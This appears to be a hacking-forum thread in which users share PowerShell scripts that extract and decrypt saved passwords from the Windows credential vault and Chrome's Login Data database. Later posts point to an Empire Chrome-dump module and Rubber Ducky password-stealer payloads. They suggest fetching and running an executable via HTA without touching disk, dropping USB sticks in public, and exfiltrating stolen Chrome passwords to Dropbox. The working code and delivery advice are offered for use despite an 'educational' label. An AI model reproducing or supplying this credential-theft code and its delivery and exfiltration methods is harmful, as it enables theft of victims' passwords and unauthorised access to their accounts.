(Oct 6, 2022 10:29 PM)shatter Wrote:  In Powershell for educational purposes.

Code

[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime]
$vault = New-Object Windows.Security.Credentials.PasswordVault
$vault.RetrieveAll() | % { $_.RetrievePassword();$_ } | select username,resource,password

Older versions of Edge.

For Chrome

Code

$sqlitedll = ".\System.Data.SQLite.dll"

if (!(Test-Path -Path $sqlitedll))
{
    Write-Host "Grab your copy of System.Data.SQLite.dll. " -ForegroundColor Yellow
    Write-Host "Most likely from https://system.data.sqlite.org/downloads/1.0.113.0/sqlite-netFx40-static-binary-bundle-x64-2010-1.0.113.0.zip" -ForegroundColor Yellow
    Write-Host "Your bitness is:" (8*[IntPtr]::Size) -ForegroundColor Yellow
    Write-Host "Your .Net version is:" $PSVersionTable.CLRVersion -ForegroundColor Yellow
    Write-Host 'No installation needed. Just unzip and update the $sqlitedll variable above.' -ForegroundColor Yellow
    return
}

$dbpath = (Get-ChildItem Env:\LOCALAPPDATA).Value+"\Google\Chrome\User Data\Default\Login Data"
if (!(Test-Path -Path $dbpath))
{
    Write-Host "Cannot find your ""Login Data"" file." -ForegroundColor Yellow
    return
}

Add-Type -AssemblyName System.Security
Add-Type -Path $sqlitedll

$conn = New-Object -TypeName System.Data.SQLite.SQLiteConnection
$conn.ConnectionString = ("Data Source="""+$dbpath+"""")
$conn.Open()

$sql = $conn.CreateCommand()
$sql.CommandText = "SELECT origin_url, username_value, password_value FROM logins"
$adapter = New-Object -TypeName System.Data.SQLite.SQLiteDataAdapter $sql
$data = New-Object System.Data.DataSet
$adapter.Fill($data)

$arrExp=@()
foreach ($datarow in $data.Tables.rows)
{
    $row = New-Object psobject
    $row | Add-Member -Name URL -MemberType NoteProperty -Value ($datarow.origin_url)
    $row | Add-Member -Name UserName -MemberType NoteProperty -Value ($datarow.username_value)
    $row | Add-Member -Name Password -MemberType NoteProperty -Value (([System.Text.Encoding]::UTF8.GetString([System.Security.Cryptography.ProtectedData]::Unprotect($datarow.password_value,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser))))
    $arrExp += $row
}

$sql.Dispose()
$conn.Close()

# Let's display the result
if (Test-Path Variable:PSise)
{
    $arrExp | Out-GridView
}
else
{
    $arrExp | Format-Table
}

You need to point it to SQLite.DLL

I don't understand why you wouldn't be able to use an executable binary.

I should mention these methods are intended for enterprise environments.

You also need a system shell.

Encourage you to check out updated forks of Empire for the Chrome dump module.

https://raw.githubusercontent.com/BC-SECURITY/Empire/master/empire/server/data/module_source/collection/Get-ChromeDump.ps1

(Oct 7, 2022 06:31 AM)DramaKing Wrote:  There's a Rubber Ducky script that will do exactly this.

(Oct 7, 2022 07:48 AM)shatter Wrote:  https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payload---Chrome-Password-Stealer

Can try it

(Oct 7, 2022 09:42 AM)shatter Wrote:  You can try MSI instead. The rubber ducky script can open EXE. Just have it call out via hta and execute it without touching disk or at least try that.

(Oct 8, 2022 12:21 AM)Money- Wrote:  Isnt rubyducky shit old school? People still doing these? I mean it can be fun and all etc.

(Oct 8, 2022 07:26 AM)shatter Wrote:  why is it old school? it literally just emulates keystrokes in the background

mfw typing is old school

(Oct 8, 2022 07:38 AM)Desync Wrote:  Well use a bad usb they are usefull they can do it

(Oct 8, 2022 07:34 AM)Money- Wrote:  I mean this method is old school dropping these pendrives on the streets and waiting for someone to pick it up. It sure works but its an old practice from the old days but still being carried out in the present don't you think?

(Oct 8, 2022 04:34 PM)colbsgotguap Wrote:  Maybe dropping it on the street is old school. But there are a lot of different things you can do with a usb and physical access to a computer. Physical access is king above all else.

---

https://shop.hak5.org/blogs/payloads/browser-passwords-dropbox-exfiltration

Found this earlier if u wanna give it a try. Takes chrome passwords and sends them to a dropbox API